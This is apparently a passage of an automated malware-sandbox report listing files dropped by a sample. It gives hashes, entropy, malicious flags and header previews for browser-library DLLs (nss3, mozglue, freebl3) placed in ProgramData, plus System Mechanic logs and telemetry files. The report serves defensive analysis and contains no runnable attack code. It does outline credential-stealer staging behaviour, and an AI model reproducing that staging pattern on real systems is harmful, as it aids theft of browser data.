CURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\ProgramData\XZXHAVGRAG.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5e0.0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5e0.0.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: 4BfhCycV4B.exe, Detection: malicious, Browse Filename: 4JgB4mYxvJ.exe, Detection: malicious, Browse Filename: q27UFusYdn.exe, Detection: malicious, Browse Filename: ipR98bCqps.exe, Detection: malicious, Browse Filename: 5SLBlv4aUS.exe, Detection: malicious, Browse Filename: XAcuSo8KDa.exe, Detection: malicious, Browse Filename: WF2R8Bsptu.exe, Detection: malicious, Browse Filename: 5F25UVdGxt.exe, Detection: malicious, Browse Filename: f0FSseHktD.exe, Detection: malicious, Browse Filename: wipOhNpHIG.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\iolo technologies\logs\bootstrap.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.190802315245049
Encrypted:	false
SSDEEP:	6:BMKLFyzgftaAgrCYqyzgEmLIYvgBtXWOyzg7HB1JCHyz4qOI0XY4eA:foUFaXCYzUEmkYvgLXWXUV/BcT73
MD5:	37A2D67DFF81BD60608CB7F07A2DC016
SHA1:	DFE13415EEA09A2B4C6417FD5C1FBE71EBBBE9F9
SHA-256:	EEA65EF04F09D707B8C178C4816BDAA9831C4368C1EC09E06492AB8F95ED6F1A
SHA-512:	415CC66E48C3FAFC9E094B4845C1626CE429ECE2846692345D79CDD83870F0EEC32BA44B9529B5B3081B5A078A2B2B97A7DB6E4BDABFE9AF6F2D5BC6579E3C16
Malicious:	false
Preview:	Bootstrap LogFile..-----------------..[23/04/2024 09:38:38]: Product System Mechanic Determined From 5488CB36-BE62-4606-B07B-2EE938868BD1..[23/04/2024 09:38:38]: This Brand IOLODEFAULT Not Detected As Installed..[23/04/2024 09:38:38]: No Supported Products Were Detected On This System..[23/04/2024 09:39:10]: Telemetry Data Sent..

C:\ProgramData\iolo\logs\WSComm.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5e0.3.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.2480053003333405
Encrypted:	false
SSDEEP:	6:qB/Ts0TCfk3VotGjZb34LB2Qilol4FF0TCfk3VotGjZb34LfI3o/Qiloe:MTXVotgOLxigTXVotgOLfToit
MD5:	15B49223946C3D9420797AB1C973A347
SHA1:	A6C91CAF75843E7465A3FFF86530BC937156C49B
SHA-256:	3EAEB8B9418BC91841A2E4DFB29E669BFFFAD008B3408156009357F28B3DA0CD
SHA-512:	873FEB59F079565425DD4B2FBBEA77F6A82BE3C7D1567AD7A820E1B1C6D38E97FA80873421B466643B83BE7CD2A95F7003C50B8CE45182EFD366B7F6419173F9
Malicious:	false
Preview:	[04/23/24 09:38:14] PerformGetOrPost : Attempting a POST on http://svc.iolo.com/__svc/sbv/DownloadManager.ashx...[04/23/24 09:38:15] IsValidCommunication : Result := True...[04/23/24 09:38:27] PerformGetOrPost : Attempting a POST on http://svc.iolo.com/__svc/sbv/DownloadManager.ashx...[04/23/24 09:38:29] IsValidCommunication : Result := True...

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5e0.0.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: 4BfhCycV4B.exe, Detection: malicious, Browse Filename: 4JgB4mYxvJ.exe, Detection: malicious, Browse Filename: q27UFusYdn.exe, Detection: malicious, Browse Filename: ipR98bCqps.exe, Detection: malicious, Browse Filename: 5SLBlv4aUS.exe, Detection: malicious, Browse Filename: XAcuSo8KDa.exe, Detection: malicious, Browse Filename: WF2R8Bsptu.exe, Detection: malicious, Browse Filename: 5F25UVdGxt.exe, Detection: malicious, Browse Filename: f0FSseHktD.exe, Detection: malicious, Browse Filename: wipOhNpHIG.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5e0.0.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5e0.0.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5e0.0.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5e0.0.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\ApplicationInsights\02b7d1436f6e86786e74c7f14b0eeb043810a2ded0b85707d2c8e2ec408053fe\b1b1595ca4ec4ed0834f9bd281245f67.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
File Type:	ASCII text, with very long lines (504), with CRLF line terminators
Category:	modified
Size (bytes):	630
Entropy (8bit):	5.96911039280439
Encrypted:	false
SSDEEP:	12:2bwqBcfQ2t1Vy4YwFfRTgzI/G3vKRUQsQ/mG3cyjqam5NwBYVy1FH/Xz6:20dR98w7gzI+sbuG3cEXew+yNm
MD5:	07EDC05AE0A88B1752ECC81938A8B9DD
SHA1:	4D41E34584FAD4859B755357AC7A83C3BFD9DEE8
SHA-256:	45338AED6D2A27580D7A4441A84B76E253D0F7B9D9338745E665E8DBDB7F27C8
SHA-512:	1DAA2E2E58C538279EE6081F506BD90900304A9F1F3929C4F1E854DA38E71418ECD742132DE7B5E26B101B7415E81E304A47E2FE29F1C5BF7F130C477EB2A7D0
Malicious:	false
Preview:	https://westus2-2.in.applicationinsights.azure.com/v2/track..Content-Type:application/x-json-stream..Content-Encoding:gzip....H4sIAAAAAAAEAO2RMU/DMBCFdyT+w8lzYyVumjTZEF0QYmrEwHZNLq1FYgf7Aoqq/necFJgZGZA8+T6/53vvLAz2JEpxNwyVw5q8WAnWy5WKVRrFmyiJqyQr16qMc5klabZN1i+B0o80BSpXKm8p20RUZCpKE1xHh21MEaZZEGiKtm3zWROPXpRngVrWnR0b6WxHD8Yzmno2Kwq1SWcwAHYgh6ytkX4yfCLW9d6ObuH2u8eKOuqJ3XSltWFyBjvpm9dncj68C1xj2RCXSiol46gocnFZiQYZ508c0FM1DbPeE3mPR9rNk9Uy2H1B7+REqVaivxJzRg8l/Jjfn9AY6qC1o2kAgb8HoJl6+NB8siMDGpi3dGNPhpelQmwSqpP2EA6Co7dRO2qg1dQFoSDWj57hQOCJQRugIEUOphAB1Na0+hjYjsA6wGAwDJ2uF2UIaToeBykul8vtzfk33apKJaHYMs5klufJJt3+d/vnu/0EKgVOMbYDAAA=

C:\Users\user\AppData\Local\Microsoft\ApplicationInsights\02b7d1436f6e86786e74c7f14b0eeb043810a2ded0b85707d2c8e2ec408053fe\b1b1595ca4ec4ed0834f9bd281245f67.trn (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
File Type:	ASCII text, with very long lines (504), with CRLF line terminators
Category:	dropped
Size (bytes):	630
Entropy (8bit):	5.96911039280439
Encrypted:	false
SSDEEP:	12:2bwqBcfQ2t1Vy4YwFfRTgzI/G3vKRUQsQ/mG3cyjqam5NwBYVy1FH/Xz6:20dR98w7gzI+sbuG3cEXew+yNm
MD5:	07EDC05AE0A88B1752ECC81938A8B9DD
SHA1:	4D41E34584FAD4859B755357AC7A83C3BFD9DEE8
SHA-256:	45338AED6D2A27580D7A4441A84B76E253D0F7B9D9338745E665E8DBDB7F27C8
SHA-512:	1DAA2E2E58C538279EE6081F506BD90900304A9F1F3929C4F1E854DA38E71418ECD742132DE7B5E26B101B7415E81E304A47E2FE29F1C5BF7F130C477EB2A7D0
Malicious:	false
Preview:	https://westus2-2.in.applicationinsights.azure.com/v2/track..Content-Type:application/x-json-stream..Content-Encoding:gzip....H4sIAAAAAAAEAO2RMU/DMBCFdyT+w8lzYyVumjTZEF0QYmrEwHZNLq1FYgf7Aoqq/necFJgZGZA8+T6/53vvLAz2JEpxNwyVw5q8WAnWy5WKVRrFmyiJqyQr16qMc5klabZN1i+B0o80BSpXKm8p20RUZCpKE1xHh21MEaZZEGiKtm3zWROPXpRngVrWnR0b6WxHD8Yzmno2Kwq1SWcwAHYgh6ytkX4yfCLW9d6ObuH2u8eKOuqJ3XSltWFyBjvpm9dncj68C1xj2RCXSiol46gocnFZiQYZ508c0FM1DbPeE3mPR9rNk9Uy2H1B7+REqVaivxJzRg8l/Jjfn9AY6qC1o2kAgb8HoJl6+NB8siMDGpi3dGNPhpelQmwSqpP2EA6Co7dRO2qg1dQFoSDWj57hQOCJQRugIEUOphAB1Na0+hjYjsA6wGAwDJ2uF2UIaToeBykul8vtzfk33apKJaHYMs5klufJJt3+d/vnu/0EKgVOMbYDAAA=

C:\Users\user\AppData\Local\Microsoft\ApplicationInsights\02b7d1436f6e86786e74c7f14b0eeb043810a2ded0b85707d2c8e2ec408053fe\gllccsus.cks

Download File

Process:	C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	93B885ADFE0DA089CDF634904FD59F71
SHA1:	5BA93C9DB0CFF93F52B521D7420E43F6EDA2784F
SHA-256:	6E340B9CFFB37A989CA544E6BB780A2C78901D3FB33738768511A30617AFA01D
SHA-512:	B8244D028981D693AF7B456AF8EFA4CAD63D282E19FF14942C246E50D9351D22704A802A71C3580B6370DE4CEB293C324A8423342557D4E5C38438F0E36910EE
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5e0.0.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5e0.0.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5e0.0.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5e0.0.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5e0.0.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5e0.0.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\iolo\dm\ioloDMLog.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5e0.3.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4273
Entropy (8bit):	5.512065373328537
Encrypted:	false
SSDEEP:	96:kMuyFKOi/UsIcMxhDWPCQPCQPCQPyPyPyPhPhPQTPNuPfybC:f8Oi/UsIcMxhDWPCQPCQPCQPyPyPyPhF
MD5:	79ED1928D073A2B4B281695F6B89BAF6
SHA1:	E29BFA823A3017B29663FBF34D43D2809A3A3202
SHA-256:	B5D61F86589B37CBEAAEEDADB58E73BE3948AC4E90D2324BE21E948E7231A313
SHA-512:	3D92CF38624ACFDF90777F286D1839615189CE9D4A96DBD61B49FF85DACCD002893DFAAB3B01A27360CA71926E3CEEF6CFFC58381F0929EDE2CA88B207B36716
Malicious:	false
